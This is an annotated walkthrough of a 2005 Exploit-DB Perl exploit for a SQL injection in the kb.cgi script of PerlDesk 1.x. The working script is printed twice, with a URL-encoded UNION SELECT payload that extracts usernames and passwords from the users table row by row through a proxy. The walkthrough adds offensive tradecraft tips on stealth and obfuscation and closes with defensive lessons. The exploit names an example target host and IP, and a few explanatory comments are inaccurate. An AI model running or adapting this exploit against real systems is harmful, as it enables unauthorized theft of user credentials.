PerlDesk 1.x SQL Injection Exploit Walkthrough

PerlDesk 1.x SQL Injection Exploit Walkthrough
What this paper is
This paper details a SQL injection vulnerability in PerlDesk version 1.x. The vulnerability allows an attacker to extract user credentials (username and password) from the application's database by manipulating SQL queries through the kb.cgi script. The provided exploit script automates this process.
Simple technical breakdown
PerlDesk 1.x uses a script called kb.cgi to handle requests. This script is vulnerable to SQL injection. An attacker can send specially crafted input to the view parameter of kb.cgi. This input is then incorporated into a SQL query without proper sanitization.
The exploit uses a UNION SELECT SQL statement. This allows the attacker to combine the results of their malicious query with the results of the original, intended query. By carefully crafting the UNION SELECT statement, the attacker can force the database to return data from other tables, specifically the users table, which contains usernames and passwords.
The exploit iteratively queries the database, fetching one user record at a time, until no more records are found. It uses a proxy server to make the requests.
Complete code and payload walkthrough
The provided Perl script pde.pl is designed to exploit the SQL injection vulnerability. Let's break down its components.
#!/usr/bin/perl
# Example:
# kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users
# Exploit is attached.
# ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80
use IO::Socket; # Imports the module for network socket operations.
print '
########################################################
# PerlDesk exploit
#
# Usage: ./pdsploit.pl host path proxy
#
#
#
# Vunerability discovered by
#
# deluxe89 and Astovidatu [ www.security-project.org ]
#
#
#
# Special thanks to doc and WebDoctor´s
#
########################################################
'; # Prints a header with information about the exploit.
if($#ARGV != 2) # Checks if the number of command-line arguments is not exactly 3 (script name + 2 arguments).
{
exit; # Exits the script if the argument count is incorrect.
}
$host = $ARGV[0]; # Assigns the first argument (target host) to the $host variable.
$path = $ARGV[1]; # Assigns the second argument (path to kb.cgi) to the $path variable.
$proxy = $ARGV[2]; # Assigns the third argument (proxy address and port) to the $proxy variable.
($addr, $port) = split(/:/, $proxy); # Splits the proxy string by ':' to separate the IP address/hostname and port.
$offset = 0; # Initializes a counter variable $offset to 0. This will be used to paginate through database results.
while(1) # Starts an infinite loop to repeatedly attempt to fetch user data.
{
# This is the core of the SQL injection payload.
# It's URL-encoded for transmission in a GET request.
$value =
"view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";
# Explanation of the payload:
# - view=0: This is the original parameter. The '0' is likely a placeholder or a valid value for the original query.
# - %20UNION%20SELECT%20: This is the start of the UNION SELECT statement, URL-encoded.
# - '0','0': These are placeholder values for columns that are not being extracted. The number of these placeholders must match the number of columns in the original query.
# - CONCAT('_P',password,'P_'): This concatenates the string '_P', the actual password, and '_P_'. This is done to easily identify the password in the response.
# - CONCAT('_U',username,'U_'): Similar to the password, this concatenates '_U', the username, and '_U_'.
# - '0','0': More placeholder values.
# - FROM%20users: Specifies the table to retrieve data from, which is 'users'.
# - LIMIT%20$offset,1: This clause limits the result set to one row at a time, starting from the row indicated by $offset. This is crucial for iterating through all users.
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $addr, PeerPort => $port) || die "[-] Proxy doesn't work\n";
# Creates a new TCP socket connection to the specified proxy address ($addr) and port ($port).
# If the connection fails, it prints an error and exits.
print $socket "GET http://$host$path?$value
HTTP/1.1\nHost: $host\n\n";
# Sends an HTTP GET request to the target host ($host) and path ($path), appending the crafted SQL injection payload ($value).
# It also sets the Host header, which is standard for HTTP requests. The double newline signifies the end of headers.
$user = ''; # Initializes $user to an empty string.
$pass = ''; # Initializes $pass to an empty string.
while(defined(my $data = <$socket>)) # Reads the response from the socket line by line.
{
if($data =~ m/_P(.*)P_/) # Checks if the current line matches the pattern '_P' followed by any characters, ending with 'P_'.
{
$pass = $1; # If a match is found, the captured group (the password) is assigned to $pass.
}
if($data =~ m/_U(.*)U_/) # Checks if the current line matches the pattern '_U' followed by any characters, ending with 'U_'.
{
$user = $1; # If a match is found, the captured group (the username) is assigned to $user.
}
}
if($user ne '' && $pass ne '') # Checks if both a username and a password were successfully extracted from the response.
{
print "$user:$pass\n"; # If both are found, prints the extracted username and password to the console.
}
else
{
die "[+] Finished\n"; # If no username or password was found in this iteration, it assumes all users have been retrieved and prints a "Finished" message before exiting.
}
$offset++; # Increments the $offset counter to fetch the next user record in the subsequent loop iteration.
}
# code by deluxe89 [ www.security-project.org ]
# milw0rm.com [2005-02-05]Mapping list:
#!/usr/bin/perl: Shebang line, indicates the script should be executed with the Perl interpreter.use IO::Socket;: Imports theIO::Socketmodule for network communication.print '...': Displays introductory information and usage instructions.if($#ARGV != 2) { exit; }: Argument validation. Ensures exactly two arguments are provided after the script name.$host = $ARGV[0];,$path = $ARGV[1];,$proxy = $ARGV[2];: Assigns command-line arguments to variables.($addr, $port) = split(/:/, $proxy);: Parses the proxy string into IP/hostname and port.$offset = 0;: Initializes the offset for database pagination.while(1) { ... }: The main loop for iterating through database records.$value = "view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";: The SQL injection payload.view=0: Target parameter.%20UNION%20SELECT%20: SQL UNION SELECT statement.'0','0': Placeholder columns.CONCAT('_P',password,'P_'): Extracts password, wrapped with_P_.CONCAT('_U',username,'U_'): Extracts username, wrapped with_U_.FROM%20users: Target table.LIMIT%20$offset,1: Fetches one record at a time.
$socket = IO::Socket::INET->new(...): Establishes a TCP connection to the proxy.print $socket "GET http://$host$path?$value HTTP/1.1\nHost: $host\n\n";: Sends the HTTP GET request.while(defined(my $data = <$socket>)) { ... }: Reads the HTTP response.if($data =~ m/_P(.*)P_/) { $pass = $1; }: Extracts the password from the response.if($data =~ m/_U(.*)U_/) { $user = $1; }: Extracts the username from the response.if($user ne '' && $pass ne '') { print "$user:$pass\n"; }: Prints found credentials.else { die "[+] Finished\n"; }: Exits if no credentials are found in an iteration.$offset++;: Increments the offset for the next iteration.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server and a functional proxy server. No prior authentication to PerlDesk is required.
- Lab Preconditions:
- A Perl interpreter installed on the attacker's machine.
- The
IO::Socketmodule available (usually standard with Perl). - A proxy server that can forward HTTP requests to the target. This is crucial because the exploit sends requests to the proxy, which then forwards them to the target.
- Knowledge of the target's IP address/hostname, the path to the
kb.cgiscript, and the proxy's IP address and port.
- Tooling Assumptions:
- The exploit script itself (
pde.pl). - A proxy server (e.g.,
netcat,socat, or a dedicated proxy tool).
- The exploit script itself (
- Execution Pitfalls:
- Proxy Misconfiguration: If the proxy is not running, misconfigured, or unreachable, the exploit will fail. The
[-] Proxy doesn't workerror message indicates this. - Incorrect Path: If the
$pathargument is wrong (e.g.,/perldesk/kb.cgiinstead of/perldesk/kb.cgi), the exploit will not reach the vulnerable script. - Firewall/WAF Blocking: Network firewalls or Web Application Firewalls (WAFs) might detect and block the SQL injection patterns, especially the
UNION SELECTandCONCATfunctions. - Database Schema Variations: While the exploit assumes a
userstable withusernameandpasswordcolumns, a different schema would cause it to fail. The number of columns in theUNION SELECTstatement must also match the original query's column count. - Rate Limiting: Aggressive querying might trigger rate limiting on the web server or proxy, leading to temporary blocks.
- Output Parsing Errors: If the web server's response format changes or includes unexpected content, the regex matching for
_P(.*)P_and_U(.*)U_might fail to extract credentials. - No More Data: The exploit correctly handles the case where no more users are found by exiting. However, if an error occurs during a valid fetch, it might incorrectly report "Finished."
- Proxy Misconfiguration: If the proxy is not running, misconfigured, or unreachable, the exploit will fail. The
- Tradecraft Considerations:
- Proxy Usage: The use of a proxy is a common technique to obscure the origin of requests and bypass direct network restrictions. For authorized operations, this might involve using a pre-approved proxy infrastructure.
- Iterative Extraction: Extracting one record at a time is stealthier than a single, large query. However, it generates more network traffic and is slower.
- Payload Obfuscation: The payload is URL-encoded. Further obfuscation might be considered if basic encoding is detected.
- Response Analysis: Carefully analyzing the HTTP responses, even when credentials aren't found, can provide clues about the target's configuration or security posture.
Where this was used and when
- Context: This exploit targets web applications written in Perl, specifically those using CGI scripts for dynamic content. PerlDesk was a helpdesk/support ticket system.
- Approximate Years/Dates: The exploit was published on milw0rm.com on February 5, 2005. This indicates the vulnerability was likely present and exploited around that time. Such vulnerabilities in older web applications can persist for years if not patched.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially that which is incorporated into database queries, must be rigorously validated and sanitized to prevent injection attacks. This includes using parameterized queries or prepared statements.
- Web Application Firewalls (WAFs): WAFs can detect and block common SQL injection patterns like
UNION SELECT,CONCAT, and specific keywords. However, they are not foolproof and can be bypassed. - Secure Coding Practices: Developers should be trained on secure coding principles to avoid common vulnerabilities like SQL injection from the outset.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks (like Perl and CGI modules) updated is essential to patch known vulnerabilities.
- Least Privilege: Database users should operate with the minimum necessary privileges. If the web application's database user only needs read access to specific tables, it shouldn't have permissions to query arbitrary tables like
usersfor credentials. - Error Handling: Generic error messages should be displayed to users, rather than detailed database errors that could reveal schema information.
- Monitoring and Logging: Web server and application logs should be monitored for suspicious activity, such as repeated failed requests or unusual query patterns.
ASCII visual (if applicable)
This exploit involves a client-server interaction mediated by a proxy.
+-----------------+ +-----------------+ +-----------------+
| Attacker's Host | ----> | Proxy Server | ----> | Target Web Server|
| (Runs pde.pl) | | (e.g., netcat) | | (PerlDesk 1.x) |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Sends HTTP GET request | 3. Sends HTTP Response
| with SQL injection payload | (containing credentials or empty)
| to proxy. |
+----------------------------------------------------->
| 2. Forwards request to target.
| Perl script executes query.
| Database returns data.Source references
- Paper URL: https://www.exploit-db.com/papers/790
- Raw Exploit URL: https://www.exploit-db.com/raw/790
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# Example:
# kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users
# Exploit is attached.
# ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80
use IO::Socket;
print '
########################################################
# PerlDesk exploit
#
# Usage: ./pdsploit.pl host path proxy
#
#
#
# Vunerability discovered by
#
# deluxe89 and Astovidatu [ www.security-project.org ]
#
#
#
# Special thanks to doc and WebDoctor´s
#
########################################################
';
if($#ARGV != 2)
{
exit;
}
$host = $ARGV[0];
$path = $ARGV[1];
$proxy = $ARGV[2];
($addr, $port) = split(/:/, $proxy);
$offset = 0;
while(1)
{
$value =
"view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $addr, PeerPort => $port) || die "[-]
Proxy doesn't work\n";
print $socket "GET http://$host$path?$value
HTTP/1.1\nHost: $host\n\n";
$user = '';
$pass = '';
while(defined(my $data = <$socket>))
{
if($data =~ m/_P(.*)P_/)
{
$pass = $1;
}
if($data =~ m/_U(.*)U_/)
{
$user = $1;
}
}
if($user ne '' && $pass ne '')
{
print "$user:$pass\n";
}
else
{
die "[+] Finished\n";
}
$offset++;
}
# code by deluxe89 [ www.security-project.org ]
# milw0rm.com [2005-02-05]